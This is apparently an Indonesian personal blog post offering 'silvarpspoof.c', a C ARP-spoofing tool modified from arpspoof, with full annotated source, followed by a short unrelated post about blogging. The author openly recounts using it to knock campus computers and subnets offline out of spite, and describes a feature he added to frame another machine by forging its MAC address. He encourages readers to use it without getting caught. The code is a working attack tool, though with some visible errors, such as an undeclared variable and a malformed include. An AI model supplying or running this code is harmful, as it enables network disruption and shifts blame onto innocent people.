October 24, 2007

silvarpspoof.c -- pengakuan dosa, penjelasan program

Mask Spoof

Program ini ditulis dalam bahasa C dan bisa di complie di mesin linux dengan compiler GCC.
bagi yang malas meng compile sendiri, mungkin nanti akan saya berikan link ke "executable code" nya.
Program ini membutuhkan library pcap terinstall di komputer

Program ini pernah digunakan untuk memutuskan koneksi beberapa komputer, atau mengisolir suatu subnet tertentu biar tidak bisa connect internet, kadang karena iseng, dendam atau karena alasan yang lainnya. (maafin yaa)

Dan program ini bekerja dengan baik untuk semua komputer di jaringan STT Telkom (entah sekarang masih bisa atau tidak), yang kamu perlu tahu hanya IP address target (dan kalo pengin memfitnah komputer lain, cari juga MAC address si victim -- cara mencari MAC address tidak dijelaskan di sini)

Cara kerjanya sebenarnya cukup sederhana, prinsipnya adalah melakukan ARP broadcast agar ARP table di tiap-tiap komputer yang menerima ARP broadcast tersebut berubah sesuai keinginan kita, sehingga ketika ada paket untuk si A, paket untuk si A tersebut diarahkan ke si B karena ARP tablenya sudah berubah.

Jika yang diracuni ARP broadcast seperti ini adalah router.. tebak sendiri akibatnya.. Yah.. intinya tadi itu yang ada di atas (mohon maaf kalo penjelasannya ga jelas, karena saya sendiri tidak mengerti konsep jaringan komputer :p)

Penggunaannya bisa bermacam-macam, tergantung kreativitas kita :D

Program ini saya modifikasi untuk "memfitnah" komputer lain. Karena apa gunanya kita "nakal" aklo akhirnya ketahuan, betul tidak ?

Namun sayang sekali, dari beberapa kali melakukan tindakan "nakal" tersebut.. dan karena ga pernah ketahuan, akhirnya suatu saat saya lengah, tidak menggunakan fitur penyamaran yang saya tambahkan ketika melakukan tindakan nakal dan komputer juga kutinggal makan ke warung, dan kebetulan sekali (kebetulan yang tidak mengenakkan) saat itu ada Maestro Temon aka Sleepy_eye aka kudanil (kapan ya aku bisa ngalahin orang ini!?) yang kemudian menganalisa dan mentrace ke komputer saya... (Duh...ketahuan deh).

Tapi sebenarnya, setelah ketahuan itu pun, aku masih beberapa kali menggunakan program ini (kali ini dengan mode penyamaran diaktifkan tentunya), karena meskipun mereka curiga, mereka tidak punya bukti apapun bahwa pelakunya adalah saya :D
Dan kebetulan saat itu mereka memiliki musuh bersama (salah satu lab di ged E yang sering membuat ulah). So, kumanfaatin sekalian... (maaf yaaa... gak lagi deh..)

So kalo lain kali mau menggunakan program ini, gunakanlah sebaik-baiknya...
jangan sekali-kali lengah :D


So here we go...

Beginilah penjelasan algoritma nya (bagi yang ga pengin tau cara kerja nya, gpp kok... program bisa langsung dijalankan tanpa perlu tau cara kerjanya )

Mohon maaf untuk maestro yang sudah biasa coding, kalo penjelasannya sangat n00b atau tidak profesional, atau bahkan salah... mohon masukannya yaaa...

Untuk yang baru di programming.. mohon maaf kalo penjelasannya gak jelas.. memang sengaja diuat gitu, biar banyak yang tanya, banyak yang ngasih comment... karena males gak sih udah nulis macem-macem kalo ternyata ga ada yang baca ? :D

So kasih komentar lah.. bertanya lah.. dan kan kuberikan apa yang bisa kuberikan <-- bahasanya guaya banget yak :p



//Bagian komentar.. tidak ikut terkompile dalam program
/*
silvarpspoof.c

Redirect packets from a target (or from all target host) intended for
host on the LAN/WAN to ourselves or to victim.

modified from arspoof by Dug Song

silverant

*/


//File-file Header yang dibutuhkan. Perhatikan bahwa dia membutuhkan library pcap.h


#include "config.h"

#include "sys/types.h"
#include "sys/param.h"
#include "stdio.h>
#include "string.h"
#include "signal.h"
#include "err.h"
#include "libnet.h"
#include "pcap.h"

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

//Definisi global variable

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac, victim_mac;
static in_addr_t spoof_ip, target_ip, victim_mac;
static char *intf;

//Procedure untuk menampilkan cara penggunaan jika user menjalankan program dengan argumen yang salah
void usage(void)
{
fprintf(stderr, " silvarpspoof, modified from arspoof by Dug Song \n Usage: silvarpspoof [-i interface] [-t target] -v [victim] host\n");
exit(1);
}

//Fungsi untuk mengirimkan paket ARP

int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
// Pendefinisian local variable
char ebuf[128];
u_char pkt[60];

// Jika Source Host Adress kosong, maka...
if (sha == NULL )
{
sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf);
}
if (spa == 0)
{
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);



fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha));

// Tampilkan informasi ke screen
if (op == ARPOP_REQUEST)
{
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else
{
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

//jika mesin linux...
#ifdef __linux__
int arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

// Fungsi untuk mencari ARP.
int arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do
{
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else

arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif

sleep(1);
}
while (i++ < 3);

return (0);
}

void cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac))
{
for (i = 0; i < 3; i++)
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(1);
}
}
exit(0);
}

// Main program, semuanya berawal dari sini.
int main(int argc, char *argv[])
{
// Penciptaan dan Inisialisasi variable
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

// Parsing argumen (masukkan argumen ke tempat yang sesuai)
while ((c = getopt(argc, argv, "i:t:v:h?V")) != -1)
{
switch (c)
{
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
case 'v':
if ((victim_ip = libnet_name_resolve(optarg, 2)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

//Jika Argumen <> 1 maka panggil fungsi usage (tunjukkan cara menggunakannya)
if (argc != 1)
usage();

// Spoof adalah komputer yang dijadikan pendengar (yang meng-catch) paket yang seharusnya ditujukan untuk target.
if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

// intf adalah interface yang akan digunakan (misal : eth0 )
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, "%s", ebuf);

// Target adalah komputer sasaran, dimana paket-paket untuk target akan dibelokkan ke spoof
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(target_ip, 0));

// Victim adalah komputer yang ingin dijadikan "sasaran kemarahan" atau korban fitnah :D
if (victim_ip != 0 && !arp_find(victim_ip, &victim_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(victim_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

//lakukan hal di bawah ini selamanya (looping forever)
for (;;)
{
// arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
// panggil fungsi pengirim arp
arp_send(llif, intf, ARPOP_REPLY, (victim_ip ? (u_char *)&victim_mac : NULL), spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}


Well... memang betul banyak yang ga saya jelasin di sini... sengaja biar pada tanya :D :D .. yah... sekedar biar blog saya rame :D

Blog Addicted ?

Blogger Logo
Wah wah wah.. kok aku jadi ketagihan nulis blog gini ya.. padahal sebelumnya udah sama sekali ga pernah nulis...

Thanks to Kulkazh and Pandi atas comment nya yang menyebabkan aku merasa harus membalas comment nya dan akhirnya "terpaksa" menegok blogku dan juga buat netzerospace, sorry net.. belum sempat euy..

Thanks juga untuk dua hari kerja tanpa kerjaan sehingga aku punya terlalu banyak waktu luang yang setelah bingung mau buat apa, akhirnya kugunakan untuk nulis deh..
Dan tentu saja buat internet yang kali ini lumayan cepet dan ga pake blok-blok an (sepertinya si Admin masih cuti lebaran, so internetnya di set free :D

Humm.. kalo lihat di sebelah kiri dan bawah halaman ini, kamu akan lihat beberapa hal yang berubah. Pertama di bagian kiri, sekarang ada feed subscibe. Untuk apa pasang gituan kalo yakin ga bakalan ada yang mau "berlangganan" membaca blogku ? Jawabannya simple, cuma pengin tahu aja, ,gimana sih cara kerjanya. Soalnya jujur saja, aku sama sekali baru di dunia per-blog-an :D

Dan di bagian bawah, bakalan ada iklan... wew.. mana ada yang mau beriklan di blog yang trafficnya dikit, isinya ngawur, ga jelas (terusin sendiri yak kejelekan blogku) ... Bener juga sih... Tapi itu juga buat coba-coba aja, ,sekedar ingin tahu. Dan siapa tahu bisa jadi penyemangat untuk membuat blog ini jadi agak sedikit bermutu :D
Di agian bawah ini juga ada.. IP detector yang kutiru dari blog nya Om Pandi (ikutan ya Om :p )

Semua itu, seperti yang kubilang... gara-gara ga ada kerjaan, akhirnya ya itu, iseng-iseng deh nyari sesuatu buat blog :D


buat kamu yang udah baca sampai sini... aku terharu sekali kamu mau-maunya membaca tulisanku sampai sini... thanks banget yaaa...

btw, biar aku tau siapa aja yang udah memaca, sudikah kamu menulis di bagian comment? comment apapun (ya, apapun! mau tentang image, cara nulis, spelling, warna blog, atau apapun deh) akan ku terima :)

Kalo ada yang mau ngasih info, tips and trik cara blogging yang baik tentu dengan senang hati kuterima juga - masukin di bagian comment aja, biar kelihatan kalo blog ku ada yang baca, ;)

Thanks banget yaaa :)